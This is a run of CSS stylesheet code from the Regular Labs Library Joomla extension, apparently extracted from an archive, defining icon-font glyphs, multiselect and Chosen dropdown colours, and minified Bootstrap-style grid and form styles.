.icon-radio-checked:before,
.icon-generic:before {
content: "\e228";
}
.icon-circle:before {
content: "\e229";
}
.icon-signup:before {
content: "\e230";
}
.icon-grid:before,
.icon-grid-view:before {
content: "\58";
}
.icon-grid-2:before,
.icon-grid-view-2:before {
content: "\59";
}
.icon-menu:before {
content: "\5a";
}
.icon-list:before,
.icon-list-view:before {
content: "\31";
}
.icon-list-2:before {
content: "\e231";
}
.icon-menu-3:before {
content: "\e232";
}
.icon-folder-open:before,
.icon-folder:before {
content: "\2d";
}
.icon-folder-close:before,
.icon-folder-2:before {
content: "\2e";
}
.icon-folder-plus:before {
content: "\e234";
}
.icon-folder-minus:before {
content: "\e235";
}
.icon-folder-3:before {
content: "\e236";
}
.icon-folder-plus-2:before {
content: "\e237";
}
.icon-folder-remove:before {
content: "\e238";
}
.icon-file:before {
content: "\e016";
}
.icon-file-2:before {
content: "\e239";
}
.icon-file-add:before,
.icon-file-plus:before {
content: "\29";
}
.icon-file-minus:before {
content: "\e017";
}
.icon-file-check:before {
content: "\e240";
}
.icon-file-remove:before {
content: "\e241";
}
.icon-save-copy:before,
.icon-copy:before {
content: "\e018";
}
.icon-stack:before {
content: "\e242";
}
.icon-tree:before {
content: "\e243";
}
.icon-tree-2:before {
content: "\e244";
}
.icon-paragraph-left:before {
content: "\e246";
}
.icon-paragraph-center:before {
content: "\e247";
}
.icon-paragraph-right:before {
content: "\e248";
}
.icon-paragraph-justify:before {
content: "\e249";
}
.icon-screen:before {
content: "\e01c";
}
.icon-tablet:before {
content: "\e01d";
}
.icon-mobile:before {
content: "\e01e";
}
.icon-box-add:before {
content: "\51";
}
.icon-box-remove:before {
content: "\52";
}
.icon-download:before {
content: "\e021";
}
.icon-upload:before {
content: "\e022";
}
.icon-home:before {
content: "\21";
}
.icon-home-2:before {
content: "\e250";
}
.icon-out-2:before,
.icon-new-tab:before {
content: "\e024";
}
.icon-out-3:before,
.icon-new-tab-2:before {
content: "\e251";
}
.icon-link:before {
content: "\e252";
}
.icon-picture:before,
.icon-image:before {
content: "\2f";
}
.icon-pictures:before,
.icon-images:before {
content: "\30";
}
.icon-palette:before,
.icon-color-palette:before {
content: "\e014";
}
.icon-camera:before {
content: "\55";
}
.icon-camera-2:before,
.icon-video:before {
content: "\e015";
}
.icon-play-2:before,
.icon-video-2:before,
.icon-youtube:before {
content: "\56";
}
.icon-music:before {
content: "\57";
}
.icon-user:before {
content: "\22";
}
.icon-users:before {
content: "\e01f";
}
.icon-vcard:before {
content: "\6d";
}
.icon-address:before {
content: "\70";
}
.icon-share-alt:before,
.icon-out:before {
content: "\26";
}
.icon-enter:before {
content: "\e257";
}
.icon-exit:before {
content: "\e258";
}
.icon-comment:before,
.icon-comments:before {
content: "\24";
}
.icon-comments-2:before {
content: "\25";
}
.icon-quote:before,
.icon-quotes-left:before {
content: "\60";
}
.icon-quote-2:before,
.icon-quotes-right:before {
content: "\61";
}
.icon-quote-3:before,
.icon-bubble-quote:before {
content: "\e259";
}
.icon-phone:before {
content: "\e260";
}
.icon-phone-2:before {
content: "\e261";
}
.icon-envelope:before,
.icon-mail:before {
content: "\4d";
}
.icon-envelope-opened:before,
.icon-mail-2:before {
content: "\4e";
}
.icon-unarchive:before,
.icon-drawer:before {
content: "\4f";
}
.icon-archive:before,
.icon-drawer-2:before {
content: "\50";
}
.icon-briefcase:before {
content: "\e020";
}
.icon-tag:before {
content: "\e262";
}
.icon-tag-2:before {
content: "\e263";
}
.icon-tags:before {
content: "\e264";
}
.icon-tags-2:before {
content: "\e265";
}
.icon-options:before,
.icon-cog:before {
content: "\38";
}
.icon-cogs:before {
content: "\37";
}
.icon-screwdriver:before,
.icon-tools:before {
content: "\36";
}
.icon-wrench:before {
content: "\3a";
}
.icon-equalizer:before {
content: "\39";
}
.icon-dashboard:before {
content: "\78";
}
.icon-switch:before {
content: "\e266";
}
.icon-filter:before {
content: "\54";
}
.icon-purge:before,
.icon-trash:before {
content: "\4c";
}
.icon-checkedout:before,
.icon-lock:before,
.icon-locked:before {
content: "\23";
}
.icon-unlock:before {
content: "\e267";
}
.icon-key:before {
content: "\5f";
}
.icon-support:before {
content: "\46";
}
.icon-database:before {
content: "\62";
}
.icon-scissors:before {
content: "\e268";
}
.icon-health:before {
content: "\6a";
}
.icon-wand:before {
content: "\6b";
}
.icon-eye-open:before,
.icon-eye:before {
content: "\3c";
}
.icon-eye-close:before,
.icon-eye-blocked:before,
.icon-eye-2:before {
content: "\e269";
}
.icon-clock:before {
content: "\6e";
}
.icon-compass:before {
content: "\6f";
}
.icon-broadcast:before,
.icon-connection:before,
.icon-wifi:before {
content: "\e01b";
}
.icon-book:before {
content: "\e271";
}
.icon-lightning:before,
.icon-flash:before {
content: "\79";
}
.icon-print:before,
.icon-printer:before {
content: "\e013";
}
.icon-feed:before {
content: "\71";
}
.icon-calendar:before {
content: "\43";
}
.icon-calendar-2:before {
content: "\44";
}
.icon-calendar-3:before {
content: "\e273";
}
.icon-pie:before {
content: "\77";
}
.icon-bars:before {
content: "\76";
}
.icon-chart:before {
content: "\75";
}
.icon-power-cord:before {
content: "\32";
}
.icon-cube:before {
content: "\33";
}
.icon-puzzle:before {
content: "\34";
}
.icon-attachment:before,
.icon-paperclip:before,
.icon-flag-2:before {
content: "\72";
}
.icon-lamp:before {
content: "\74";
}
.icon-pin:before,
.icon-pushpin:before {
content: "\73";
}
.icon-location:before {
content: "\63";
}
.icon-shield:before {
content: "\e274";
}
.icon-flag:before {
content: "\35";
}
.icon-flag-3:before {
content: "\e275";
}
.icon-bookmark:before {
content: "\e023";
}
.icon-bookmark-2:before {
content: "\e276";
}
.icon-heart:before {
content: "\e277";
}
.icon-heart-2:before {
content: "\e278";
}
.icon-thumbs-up:before {
content: "\5b";
}
.icon-thumbs-down:before {
content: "\5c";
}
.icon-unfeatured:before,
.icon-asterisk:before,
.icon-star-empty:before {
content: "\40";
}
.icon-star-2:before {
content: "\41";
}
.icon-featured:before,
.icon-default:before,
.icon-star:before {
content: "\42";
}
.icon-smiley:before,
.icon-smiley-happy:before {
content: "\e279";
}
.icon-smiley-2:before,
.icon-smiley-happy-2:before {
content: "\e280";
}
.icon-smiley-sad:before {
content: "\e281";
}
.icon-smiley-sad-2:before {
content: "\e282";
}
.icon-smiley-neutral:before {
content: "\e283";
}
.icon-smiley-neutral-2:before {
content: "\e284";
}
.icon-cart:before {
content: "\e019";
}
.icon-basket:before {
content: "\e01a";
}
.icon-credit:before {
content: "\e286";
}
.icon-credit-2:before {
content: "\e287";
}
.icon-expired:before {
content: "\4b";
}
.icon-edit:before {
color: #2f96b4;
}
.icon-publish:before,
.icon-save:before,
.icon-ok:before,
.icon-save-new:before,
.icon-save-copy:before,
.btn-toolbar .icon-copy:before {
color: #51a351;
}
.icon-unpublish:before,
.icon-not-ok:before,
.icon-eye-close:before,
.icon-ban-circle:before,
.icon-minus-sign:before,
.btn-toolbar .icon-cancel:before {
color: #bd362f;
}
.icon-featured:before,
.icon-default:before,
.icon-expired:before,
.icon-pending:before {
color: #f89406;
}
.icon-back:before {
content: "\e008";
}
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
div.rl_multiselect {
margin-bottom: 0;
}
div.rl_multiselect .rl_multiselect-controls {
clear: both;
}
div.rl_multiselect ul.rl_multiselect-ul {
margin: 0;
padding: 0;
margin-top: 8px;
}
div.rl_multiselect ul.rl_multiselect-ul li {
margin: 0;
padding: 2px 10px 2px;
list-style: none;
}
div.rl_multiselect ul.rl_multiselect-ul span.rl_multiselect-toggle {
line-height: 18px;
}
div.rl_multiselect ul.rl_multiselect-ul label {
font-size: 1em;
margin-left: 8px;
}
div.rl_multiselect ul.rl_multiselect-ul label.nav-header {
padding: 0;
}
div.rl_multiselect ul.rl_multiselect-ul input {
margin: 2px 0 0 8px;
}
div.rl_multiselect ul.rl_multiselect-ul .rl_multiselect-menu {
margin: 0 6px;
}
div.rl_multiselect ul.rl_multiselect-ul ul.dropdown-menu {
margin: 0;
}
div.rl_multiselect ul.rl_multiselect-ul ul.dropdown-menu li {
padding: 0 5px;
border: none;
}
/* Chosen color styles */
[class^="chzn-color"].chzn-single,
[class*=" chzn-color"].chzn-single,
[class^="chzn-color"].chzn-single .chzn-single-with-drop,
[class*=" chzn-color"].chzn-single .chzn-single-with-drop {
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
}
.chzn-color.chzn-single[rel="value_1"],
.chzn-color-reverse.chzn-single[rel="value_0"],
.chzn-color-state.chzn-single[rel="value_1"] {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #5bb75b;
background-image: -moz-linear-gradient(top, #62c462, #51a351);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462),
to(#51a351));
background-image: -webkit-linear-gradient(top, #62c462, #51a351);
background-image: -o-linear-gradient(top, #62c462, #51a351);
background-image: linear-gradient(to bottom, #62c462, #51a351);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462',
endColorstr='#ff51a351', GradientType=0);
border-color: #51a351 #51a351 #387038;
*background-color: #51a351;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.chzn-color.chzn-single[rel="value_1"]:hover,
.chzn-color-reverse.chzn-single[rel="value_0"]:hover,
.chzn-color-state.chzn-single[rel="value_1"]:hover,
.chzn-color.chzn-single[rel="value_1"]:focus,
.chzn-color-reverse.chzn-single[rel="value_0"]:focus,
.chzn-color-state.chzn-single[rel="value_1"]:focus,
.chzn-color.chzn-single[rel="value_1"]:active,
.chzn-color-reverse.chzn-single[rel="value_0"]:active,
.chzn-color-state.chzn-single[rel="value_1"]:active,
.chzn-color.chzn-single[rel="value_1"].active,
.chzn-color-reverse.chzn-single[rel="value_0"].active,
.chzn-color-state.chzn-single[rel="value_1"].active,
.chzn-color.chzn-single[rel="value_1"].disabled,
.chzn-color-reverse.chzn-single[rel="value_0"].disabled,
.chzn-color-state.chzn-single[rel="value_1"].disabled,
.chzn-color.chzn-single[rel="value_1"][disabled],
.chzn-color-reverse.chzn-single[rel="value_0"][disabled],
.chzn-color-state.chzn-single[rel="value_1"][disabled] {
color: #fff;
background-color: #51a351;
*background-color: #499249;
}
.chzn-color.chzn-single[rel="value_1"]:active,
.chzn-color-reverse.chzn-single[rel="value_0"]:active,
.chzn-color-state.chzn-single[rel="value_1"]:active,
.chzn-color.chzn-single[rel="value_1"].active,
.chzn-color-reverse.chzn-single[rel="value_0"].active,
.chzn-color-state.chzn-single[rel="value_1"].active {
background-color: #408140 \9;
}
.chzn-color.chzn-single[rel="value_0"],
.chzn-color-reverse.chzn-single[rel="value_1"],
.chzn-color-state.chzn-single[rel="value_0"],
.chzn-color-state.chzn-single[rel="value_-1"],
.chzn-color-state.chzn-single[rel="value_-2"] {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #da4f49;
background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b),
to(#bd362f));
background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f);
background-image: -o-linear-gradient(top, #ee5f5b, #bd362f);
background-image: linear-gradient(to bottom, #ee5f5b, #bd362f);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b',
endColorstr='#ffbd362f', GradientType=0);
border-color: #bd362f #bd362f #802420;
*background-color: #bd362f;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.chzn-color.chzn-single[rel="value_0"]:hover,
.chzn-color-reverse.chzn-single[rel="value_1"]:hover,
.chzn-color-state.chzn-single[rel="value_0"]:hover,
.chzn-color-state.chzn-single[rel="value_-1"]:hover,
.chzn-color-state.chzn-single[rel="value_-2"]:hover,
.chzn-color.chzn-single[rel="value_0"]:focus,
.chzn-color-reverse.chzn-single[rel="value_1"]:focus,
.chzn-color-state.chzn-single[rel="value_0"]:focus,
.chzn-color-state.chzn-single[rel="value_-1"]:focus,
.chzn-color-state.chzn-single[rel="value_-2"]:focus,
.chzn-color.chzn-single[rel="value_0"]:active,
.chzn-color-reverse.chzn-single[rel="value_1"]:active,
.chzn-color-state.chzn-single[rel="value_0"]:active,
.chzn-color-state.chzn-single[rel="value_-1"]:active,
.chzn-color-state.chzn-single[rel="value_-2"]:active,
.chzn-color.chzn-single[rel="value_0"].active,
.chzn-color-reverse.chzn-single[rel="value_1"].active,
.chzn-color-state.chzn-single[rel="value_0"].active,
.chzn-color-state.chzn-single[rel="value_-1"].active,
.chzn-color-state.chzn-single[rel="value_-2"].active,
.chzn-color.chzn-single[rel="value_0"].disabled,
.chzn-color-reverse.chzn-single[rel="value_1"].disabled,
.chzn-color-state.chzn-single[rel="value_0"].disabled,
.chzn-color-state.chzn-single[rel="value_-1"].disabled,
.chzn-color-state.chzn-single[rel="value_-2"].disabled,
.chzn-color.chzn-single[rel="value_0"][disabled],
.chzn-color-reverse.chzn-single[rel="value_1"][disabled],
.chzn-color-state.chzn-single[rel="value_0"][disabled],
.chzn-color-state.chzn-single[rel="value_-1"][disabled],
.chzn-color-state.chzn-single[rel="value_-2"][disabled] {
color: #fff;
background-color: #bd362f;
*background-color: #a9302a;
}
.chzn-color.chzn-single[rel="value_0"]:active,
.chzn-color-reverse.chzn-single[rel="value_1"]:active,
.chzn-color-state.chzn-single[rel="value_0"]:active,
.chzn-color-state.chzn-single[rel="value_-1"]:active,
.chzn-color-state.chzn-single[rel="value_-2"]:active,
.chzn-color.chzn-single[rel="value_0"].active,
.chzn-color-reverse.chzn-single[rel="value_1"].active,
.chzn-color-state.chzn-single[rel="value_0"].active,
.chzn-color-state.chzn-single[rel="value_-1"].active,
.chzn-color-state.chzn-single[rel="value_-2"].active {
background-color: #942a25 \9;
}
/* Min-width on buttons */
.controls .btn-group > .btn {
min-width: 50px;
}
.controls .btn-group.btn-group-yesno > .btn {
min-width: 84px;
padding: 2px 12px;
}
.control-label > label > h4 {
margin-bottom: 0;
}
.controls > fieldset {
margin-bottom: 0;
padding-top: 0;
padding-bottom: 0;
}
.chzn-container .chzn-drop {
z-index: 1040;
}
css/frontend.min.css000064400000200027151165506420010455
0ustar00.row-fluid:after,.row-fluid:before,.row:after,.row:before{display:table;content:"";line-height:0}.controls-row:after,.dropdown-menu>li>a,.form-actions:after,.form-horizontal
.control-group:after,.row-fluid:after,.row:after,div.rl_multiselect
.rl_multiselect-controls{clear:both}.row{margin-left:-20px;*zoom:1}[class*=span]{float:left;min-height:1px;margin-left:20px}.container,.navbar-fixed-bottom
.container,.navbar-fixed-top .container,.navbar-static-top
.container,.span12{width:940px}.span11{width:860px}.span10{width:780px}.span9{width:700px}.span8{width:620px}.span7{width:540px}.span6{width:460px}.span5{width:380px}.span4{width:300px}.span3{width:220px}.span2{width:140px}.span1{width:60px}.offset12{margin-left:980px}.offset11{margin-left:900px}.offset10{margin-left:820px}.offset9{margin-left:740px}.offset8{margin-left:660px}.offset7{margin-left:580px}.offset6{margin-left:500px}.offset5{margin-left:420px}.offset4{margin-left:340px}.offset3{margin-left:260px}.offset2{margin-left:180px}.offset1{margin-left:100px}.row-fluid{width:100%;*zoom:1}.row-fluid
[class*=span]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;margin-left:2.12765957%;*margin-left:2.07446809%}.row-fluid
[class*=span]:first-child{margin-left:0}.row-fluid .controls-row
[class*=span]+[class*=span]{margin-left:2.12765957%}.row-fluid
.span12{width:100%;*width:99.94680851%}.row-fluid
.span11{width:91.4893617%;*width:91.43617021%}.row-fluid
.span10{width:82.9787234%;*width:82.92553191%}.row-fluid
.span9{width:74.46808511%;*width:74.41489362%}.row-fluid
.span8{width:65.95744681%;*width:65.90425532%}.row-fluid
.span7{width:57.44680851%;*width:57.39361702%}.row-fluid
.span6{width:48.93617021%;*width:48.88297872%}.row-fluid
.span5{width:40.42553191%;*width:40.37234043%}.row-fluid
.span4{width:31.91489362%;*width:31.86170213%}.row-fluid
.span3{width:23.40425532%;*width:23.35106383%}.row-fluid
.span2{width:14.89361702%;*width:14.84042553%}.row-fluid
.span1{width:6.38297872%;*width:6.32978723%}.row-fluid
.offset12{margin-left:104.25531915%;*margin-left:104.14893617%}.row-fluid
.offset12:first-child{margin-left:102.12765957%;*margin-left:102.0212766%}.row-fluid
.offset11{*margin-left:95.63829787%}.row-fluid
.offset11:first-child{margin-left:93.61702128%;*margin-left:93.5106383%}.row-fluid
.offset10{*margin-left:87.12765957%}.row-fluid
.offset10:first-child{margin-left:85.10638298%;*margin-left:85%}.row-fluid
.offset9{*margin-left:78.61702128%}.row-fluid
.offset9:first-child{margin-left:76.59574468%;*margin-left:76.4893617%}.row-fluid
.offset8{*margin-left:70.10638298%}.row-fluid
.offset8:first-child{margin-left:68.08510638%;*margin-left:67.9787234%}.row-fluid
.offset7{*margin-left:61.59574468%}.row-fluid
.offset7:first-child{margin-left:59.57446809%;*margin-left:59.46808511%}.row-fluid
.offset6{*margin-left:53.08510638%}.row-fluid
.offset6:first-child{margin-left:51.06382979%;*margin-left:50.95744681%}.row-fluid
.offset5{*margin-left:44.57446809%}.row-fluid
.offset5:first-child{margin-left:42.55319149%;*margin-left:42.44680851%}.row-fluid
.offset4{*margin-left:36.06382979%}.row-fluid
.offset4:first-child{margin-left:34.04255319%;*margin-left:33.93617021%}.row-fluid
.offset3{*margin-left:27.55319149%}.row-fluid
.offset3:first-child{margin-left:25.53191489%;*margin-left:25.42553191%}.row-fluid
.offset2{*margin-left:19.04255319%}.row-fluid
.offset2:first-child{margin-left:17.0212766%;*margin-left:16.91489362%}.row-fluid
.offset1{*margin-left:10.53191489%}.row-fluid
.offset1:first-child{margin-left:8.5106383%;*margin-left:8.40425532%}.row-fluid
[class*=span].hide,[class*=span].hide{display:none}label,legend{display:block}.row-fluid
[class*=span].pull-right,[class*=span].pull-right{float:right}form{margin:0
0
20px}fieldset{padding:0;margin:0;border:0}legend{width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333;border:0;border-bottom:1px
solid #e5e5e5}legend
small{font-size:15px;color:#999}button,input,label,select,textarea{font-size:14px;font-weight:400;line-height:20px}button,input,select,textarea{font-family:"Helvetica
Neue",Helvetica,Arial,sans-serif}label{margin-bottom:5px}.uneditable-input,input[type=week],input[type=number],input[type=email],input[type=url],input[type=search],input[type=tel],input[type=color],input[type=text],input[type=password],input[type=datetime],input[type=datetime-local],input[type=date],input[type=month],input[type=time],select,textarea{display:inline-block;height:20px;padding:4px
6px;margin-bottom:10px;font-size:14px;line-height:20px;color:#555;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;vertical-align:middle}.checkbox.inline,.controls-row
.checkbox[class*=span],.controls-row
.radio[class*=span],.controls>.checkbox:first-child,.controls>.radio:first-child,.radio.inline{padding-top:5px}.uneditable-input,input,textarea{width:206px}textarea{height:auto}.uneditable-input,input[type=week],input[type=number],input[type=email],input[type=url],input[type=search],input[type=tel],input[type=color],input[type=text],input[type=password],input[type=datetime],input[type=datetime-local],input[type=date],input[type=month],input[type=time],textarea{background-color:#fff;border:1px
solid #ccc;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);-webkit-transition:border linear .2s,box-shadow linear
.2s;-moz-transition:border linear .2s,box-shadow linear
.2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border
linear .2s,box-shadow linear
.2s}.uneditable-input:focus,input[type=week]:focus,input[type=number]:focus,input[type=email]:focus,input[type=url]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=color]:focus,input[type=text]:focus,input[type=password]:focus,input[type=datetime]:focus,input[type=datetime-local]:focus,input[type=date]:focus,input[type=month]:focus,input[type=time]:focus,textarea:focus{border-color:rgba(82,168,236,.8);outline:0;outline:dotted
thin\9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px
rgba(82,168,236,.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0
8px rgba(82,168,236,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px
rgba(82,168,236,.6)}input[type=radio],input[type=checkbox]{margin:4px 0
0;margin-top:1px\9;line-height:normal}input[type=radio],input[type=checkbox],input[type=file],input[type=image],input[type=submit],input[type=reset],input[type=button]{width:auto}input[type=file],select{height:30px;*margin-top:4px;line-height:30px}select{width:220px;border:1px
solid
#ccc;background-color:#fff}select[multiple],select[size]{height:auto}input[type=radio]:focus,input[type=checkbox]:focus,input[type=file]:focus,select:focus{outline:#333
dotted thin;outline:-webkit-focus-ring-color auto
5px;outline-offset:-2px}.uneditable-input,.uneditable-textarea{color:#999;background-color:#fcfcfc;border-color:#ccc;-webkit-box-shadow:inset
0 1px 2px rgba(0,0,0,.025);-moz-box-shadow:inset 0 1px 2px
rgba(0,0,0,.025);box-shadow:inset 0 1px 2px
rgba(0,0,0,.025);cursor:not-allowed}.uneditable-input{overflow:hidden;white-space:nowrap}.uneditable-textarea{width:auto;height:auto}input:-moz-placeholder,textarea:-moz-placeholder{color:#999}input:-ms-input-placeholder,textarea:-ms-input-placeholder{color:#999}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}.checkbox,.radio{min-height:20px;padding-left:20px}.checkbox
input[type=checkbox],.radio
input[type=radio]{float:left;margin-left:-20px}.checkbox.inline,.radio.inline{display:inline-block;margin-bottom:0;vertical-align:middle}.checkbox.inline+.checkbox.inline,.radio.inline+.radio.inline{margin-left:10px}.input-mini{width:60px}.input-small{width:90px}.input-medium{width:150px}.input-large{width:210px}.input-xlarge{width:270px}.input-xxlarge{width:530px}.row-fluid
.uneditable-input[class*=span],.row-fluid input[class*=span],.row-fluid
select[class*=span],.row-fluid
textarea[class*=span],.uneditable-input[class*=span],input[class*=span],select[class*=span],textarea[class*=span]{float:none;margin-left:0}.input-append
.uneditable-input[class*=span],.input-append
input[class*=span],.input-prepend
.uneditable-input[class*=span],.input-prepend input[class*=span],.row-fluid
.input-append [class*=span],.row-fluid .input-prepend
[class*=span],.row-fluid .uneditable-input[class*=span],.row-fluid
input[class*=span],.row-fluid select[class*=span],.row-fluid
textarea[class*=span]{display:inline-block}.controls-row:after,.controls-row:before,.form-actions:after,.form-actions:before{display:table;line-height:0;content:""}.uneditable-input,input,textarea{margin-left:0}.controls-row
[class*=span]+[class*=span]{margin-left:20px}.uneditable-input.span12,input.span12,textarea.span12{width:926px}.uneditable-input.span11,input.span11,textarea.span11{width:846px}.uneditable-input.span10,input.span10,textarea.span10{width:766px}.uneditable-input.span9,input.span9,textarea.span9{width:686px}.uneditable-input.span8,input.span8,textarea.span8{width:606px}.uneditable-input.span7,input.span7,textarea.span7{width:526px}.uneditable-input.span6,input.span6,textarea.span6{width:446px}.uneditable-input.span5,input.span5,textarea.span5{width:366px}.uneditable-input.span4,input.span4,textarea.span4{width:286px}.uneditable-input.span3,input.span3,textarea.span3{width:206px}.uneditable-input.span2,input.span2,textarea.span2{width:126px}.uneditable-input.span1,input.span1,textarea.span1{width:46px}.controls-row{*zoom:1}.controls-row
[class*=span],.row-fluid .controls-row
[class*=span]{float:left}input[disabled],input[readonly],select[disabled],select[readonly],textarea[disabled],textarea[readonly]{cursor:not-allowed;background-color:#eee}input[type=radio][disabled],input[type=radio][readonly],input[type=checkbox][disabled],input[type=checkbox][readonly]{background-color:transparent}.control-group.warning
.checkbox,.control-group.warning .control-label,.control-group.warning
.help-block,.control-group.warning .help-inline,.control-group.warning
.radio,.control-group.warning input,.control-group.warning
select,.control-group.warning textarea{color:#c09853}.control-group.warning
input,.control-group.warning select,.control-group.warning
textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);box-shadow:inset 0 1px 1px
rgba(0,0,0,.075)}.control-group.warning input:focus,.control-group.warning
select:focus,.control-group.warning
textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #dbc59e}.control-group.warning .input-append
.add-on,.control-group.warning .input-prepend
.add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.control-group.error
.checkbox,.control-group.error .control-label,.control-group.error
.help-block,.control-group.error .help-inline,.control-group.error
.radio,.control-group.error input,.control-group.error
select,.control-group.error textarea{color:#b94a48}.control-group.error
input,.control-group.error select,.control-group.error
textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);box-shadow:inset 0 1px 1px
rgba(0,0,0,.075)}.control-group.error input:focus,.control-group.error
select:focus,.control-group.error
textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #d59392}.control-group.error .input-append
.add-on,.control-group.error .input-prepend
.add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.control-group.success
.checkbox,.control-group.success .control-label,.control-group.success
.help-block,.control-group.success .help-inline,.control-group.success
.radio,.control-group.success input,.control-group.success
select,.control-group.success textarea{color:#468847}.control-group.success
input,.control-group.success select,.control-group.success
textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);box-shadow:inset 0 1px 1px
rgba(0,0,0,.075)}.control-group.success input:focus,.control-group.success
select:focus,.control-group.success
textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #7aba7b}.control-group.success .input-append
.add-on,.control-group.success .input-prepend
.add-on{color:#468847;background-color:#dff0d8;border-color:#468847}.control-group.info
.checkbox,.control-group.info .control-label,.control-group.info
.help-block,.control-group.info .help-inline,.control-group.info
.radio,.control-group.info input,.control-group.info
select,.control-group.info textarea{color:#3a87ad}.control-group.info
input,.control-group.info select,.control-group.info
textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);box-shadow:inset 0 1px 1px
rgba(0,0,0,.075)}.control-group.info input:focus,.control-group.info
select:focus,.control-group.info
textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px
rgba(0,0,0,.075),0 0 6px #7ab5d3}.control-group.info .input-append
.add-on,.control-group.info .input-prepend
.add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad}input:focus:invalid,select:focus:invalid,textarea:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,select:focus:invalid:focus,textarea:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0
0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px
#f8b9b7}.form-actions{padding:19px 20px
20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px
solid
#e5e5e5;*zoom:1}.help-block,.help-inline{color:#595959}.help-block{display:block;margin-bottom:10px}.help-inline{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;padding-left:5px}.input-append,.input-prepend{display:inline-block;margin-bottom:10px;vertical-align:middle;font-size:0;white-space:nowrap}.input-append
.dropdown-menu,.input-append .popover,.input-append
.uneditable-input,.input-append input,.input-append select,.input-prepend
.dropdown-menu,.input-prepend .popover,.input-prepend
.uneditable-input,.input-prepend input,.input-prepend
select{font-size:14px}.input-append .uneditable-input,.input-append
input,.input-append select,.input-prepend .uneditable-input,.input-prepend
input,.input-prepend
select{position:relative;margin-bottom:0;*margin-left:0;vertical-align:top;-webkit-border-radius:0
4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px
0}.input-append .uneditable-input:focus,.input-append
input:focus,.input-append select:focus,.input-prepend
.uneditable-input:focus,.input-prepend input:focus,.input-prepend
select:focus{z-index:2}.input-append .add-on,.input-prepend
.add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px
5px;font-size:14px;font-weight:400;line-height:20px;text-align:center;text-shadow:0
1px 0 #fff;background-color:#eee;border:1px solid #ccc}.input-append
.add-on,.input-append .btn,.input-append
.btn-group>.dropdown-toggle,.input-prepend .add-on,.input-prepend
.btn,.input-prepend
.btn-group>.dropdown-toggle{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.input-prepend
.add-on,.input-prepend .btn{margin-right:-1px}.input-append
.uneditable-input,.input-append input,.input-append select,.input-prepend
